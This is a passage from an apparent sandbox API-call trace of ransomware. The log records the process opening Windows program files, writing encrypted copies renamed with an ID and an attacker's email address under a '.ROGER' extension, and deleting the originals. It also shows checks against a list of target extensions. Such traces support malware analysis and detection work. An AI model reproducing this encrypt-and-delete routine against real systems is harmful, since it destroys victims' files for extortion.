lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=280448) returned 1 [0057.242] CloseHandle (hObject=0x3ec) returned 1 [0057.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0057.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.242] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.242] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0057.242] GetLastError () returned 0x0 [0057.242] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x44780, lpOverlapped=0x0) returned 1 [0057.250] WriteFile (in: hFile=0x3f4, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x44790, lpOverlapped=0x0) returned 1 [0057.255] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.255] WriteFile (in: hFile=0x3f4, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.255] SetEndOfFile (hFile=0x3f4) returned 1 [0057.256] CloseHandle (hObject=0x3f4) returned 1 [0057.256] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.256] SetEndOfFile (hFile=0x3ec) returned 1 [0057.259] CloseHandle (hObject=0x3ec) returned 1 [0057.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.260] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0057.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.260] lstrlenW (lpString=".doc") returned 4 [0057.260] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.260] lstrlenW (lpString=".docx") returned 5 [0057.260] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.260] lstrlenW (lpString=".pdf") returned 4 [0057.260] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.260] lstrlenW (lpString=".xls") returned 4 [0057.260] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.260] lstrlenW (lpString=".xlsx") returned 5 [0057.260] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.260] lstrlenW (lpString=".ppt") returned 4 [0057.260] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.260] lstrlenW (lpString=".zip") returned 4 [0057.260] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.260] lstrlenW (lpString=".rar") returned 4 [0057.260] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.260] lstrlenW (lpString=".bz2") returned 4 [0057.260] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.260] lstrlenW (lpString=".7z") returned 3 [0057.260] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.261] lstrlenW (lpString=".dbf") returned 4 [0057.261] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.261] lstrlenW (lpString=".1cd") returned 4 [0057.261] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.261] lstrlenW (lpString=".jpg") returned 4 [0057.261] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.261] lstrlenW (lpString=".doc") returned 4 [0057.261] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.261] lstrlenW (lpString=".docx") returned 5 [0057.261] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.261] lstrlenW (lpString=".pdf") returned 4 [0057.261] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.261] lstrlenW (lpString=".xls") returned 4 [0057.261] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.261] lstrlenW (lpString=".xlsx") returned 5 [0057.261] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.261] lstrlenW (lpString=".ppt") returned 4 [0057.261] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.261] lstrlenW (lpString=".zip") returned 4 [0057.261] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.261] lstrlenW (lpString=".rar") returned 4 [0057.261] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.261] lstrlenW (lpString=".bz2") returned 4 [0057.261] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.261] lstrlenW (lpString=".7z") returned 3 [0057.261] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.262] lstrlenW (lpString=".dbf") returned 4 [0057.262] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.262] lstrlenW (lpString=".1cd") returned 4 [0057.262] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.262] lstrlenW (lpString=".jpg") returned 4 [0057.262] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.262] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0057.262] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.292] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=3584) returned 1 [0057.292] CloseHandle (hObject=0x3fc) returned 1 [0057.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0057.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.294] lstrlenW (lpString=".doc") returned 4 [0057.294] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.294] lstrlenW (lpString=".docx") returned 5 [0057.294] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.294] lstrlenW (lpString=".pdf") returned 4 [0057.294] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.294] lstrlenW (lpString=".xls") returned 4 [0057.294] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.294] lstrlenW (lpString=".xlsx") returned 5 [0057.294] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.294] lstrlenW (lpString=".ppt") returned 4 [0057.294] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.294] lstrlenW (lpString=".zip") returned 4 [0057.295] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.295] lstrlenW (lpString=".rar") returned 4 [0057.295] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.295] lstrlenW (lpString=".bz2") returned 4 [0057.295] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.295] lstrlenW (lpString=".7z") returned 3 [0057.295] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.295] lstrlenW (lpString=".dbf") returned 4 [0057.295] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.295] lstrlenW (lpString=".1cd") returned 4 [0057.295] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.295] lstrlenW (lpString=".jpg") returned 4 [0057.295] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.295] lstrlenW (lpString=".doc") returned 4 [0057.295] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.295] lstrlenW (lpString=".docx") returned 5 [0057.295] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.295] lstrlenW (lpString=".pdf") returned 4 [0057.295] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.295] lstrlenW (lpString=".xls") returned 4 [0057.295] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.295] lstrlenW (lpString=".xlsx") returned 5 [0057.295] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.295] lstrlenW (lpString=".ppt") returned 4 [0057.295] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.295] lstrlenW (lpString=".zip") returned 4 [0057.296] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.296] lstrlenW (lpString=".rar") returned 4 [0057.296] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.296] lstrlenW (lpString=".bz2") returned 4 [0057.296] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.296] lstrlenW (lpString=".7z") returned 3 [0057.296] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.296] lstrlenW (lpString=".dbf") returned 4 [0057.296] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.296] lstrlenW (lpString=".1cd") returned 4 [0057.296] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0057.296] lstrlenW (lpString=".jpg") returned 4 [0057.296] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.296] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0057.296] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.297] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=4096) returned 1 [0057.297] CloseHandle (hObject=0x3fc) returned 1 [0057.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0057.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.297] lstrlenW (lpString=".doc") returned 4 [0057.297] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.297] lstrlenW (lpString=".docx") returned 5 [0057.297] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.297] lstrlenW (lpString=".pdf") returned 4 [0057.297] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.297] lstrlenW (lpString=".xls") returned 4 [0057.297] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.297] lstrlenW (lpString=".xlsx") returned 5 [0057.297] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.297] lstrlenW (lpString=".ppt") returned 4 [0057.297] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.297] lstrlenW (lpString=".zip") returned 4 [0057.297] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.297] lstrlenW (lpString=".rar") returned 4 [0057.298] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.298] lstrlenW (lpString=".bz2") returned 4 [0057.298] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.298] lstrlenW (lpString=".7z") returned 3 [0057.298] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.298] lstrlenW (lpString=".dbf") returned 4 [0057.298] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.298] lstrlenW (lpString=".1cd") returned 4 [0057.298] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.298] lstrlenW (lpString=".jpg") returned 4 [0057.298] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.298] lstrlenW (lpString=".doc") returned 4 [0057.298] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.298] lstrlenW (lpString=".docx") returned 5 [0057.298] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.298] lstrlenW (lpString=".pdf") returned 4 [0057.298] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.298] lstrlenW (lpString=".xls") returned 4 [0057.298] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.298] lstrlenW (lpString=".xlsx") returned 5 [0057.298] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.298] lstrlenW (lpString=".ppt") returned 4 [0057.298] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.298] lstrlenW (lpString=".zip") returned 4 [0057.298] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.299] lstrlenW (lpString=".rar") returned 4 [0057.299] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.299] lstrlenW (lpString=".bz2") returned 4 [0057.299] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.299] lstrlenW (lpString=".7z") returned 3 [0057.299] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.299] lstrlenW (lpString=".dbf") returned 4 [0057.299] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.299] lstrlenW (lpString=".1cd") returned 4 [0057.299] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0057.299] lstrlenW (lpString=".jpg") returned 4 [0057.299] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.299] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0057.299] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0057.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0057.300] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=193024) returned 1 [0057.300] CloseHandle (hObject=0x3fc) returned 1 [0057.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0057.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.300] lstrlenW (lpString=".doc") returned 4 [0057.300] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.300] lstrlenW (lpString=".docx") returned 5 [0057.300] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.300] lstrlenW (lpString=".pdf") returned 4 [0057.300] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.300] lstrlenW (lpString=".xls") returned 4 [0057.300] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.300] lstrlenW (lpString=".xlsx") returned 5 [0057.300] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.300] lstrlenW (lpString=".ppt") returned 4 [0057.300] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.300] lstrlenW (lpString=".zip") returned 4 [0057.300] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.300] lstrlenW (lpString=".rar") returned 4 [0057.301] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.301] lstrlenW (lpString=".bz2") returned 4 [0057.301] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.301] lstrlenW (lpString=".7z") returned 3 [0057.301] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.301] lstrlenW (lpString=".dbf") returned 4 [0057.301] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.301] lstrlenW (lpString=".1cd") returned 4 [0057.301] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.301] lstrlenW (lpString=".jpg") returned 4 [0057.301] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.301] lstrlenW (lpString=".doc") returned 4 [0057.301] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.301] lstrlenW (lpString=".docx") returned 5 [0057.301] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0057.301] lstrlenW (lpString=".pdf") returned 4 [0057.301] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.301] lstrlenW (lpString=".xls") returned 4 [0057.301] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.301] lstrlenW (lpString=".xlsx") returned 5 [0057.301] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0057.301] lstrlenW (lpString=".ppt") returned 4 [0057.301] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.301] lstrlenW (lpString=".zip") returned 4 [0057.301] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.302] lstrlenW (lpString=".rar") returned 4 [0057.302] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.302] lstrlenW (lpString=".bz2") returned 4 [0057.302] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.302] lstrlenW (lpString=".7z") returned 3 [0057.302] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.302] lstrlenW (lpString=".dbf") returned 4 [0057.302] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.302] lstrlenW (lpString=".1cd") returned 4 [0057.302] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0057.302] lstrlenW (lpString=".jpg") returned 4 [0057.302] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.302] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0057.302] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), 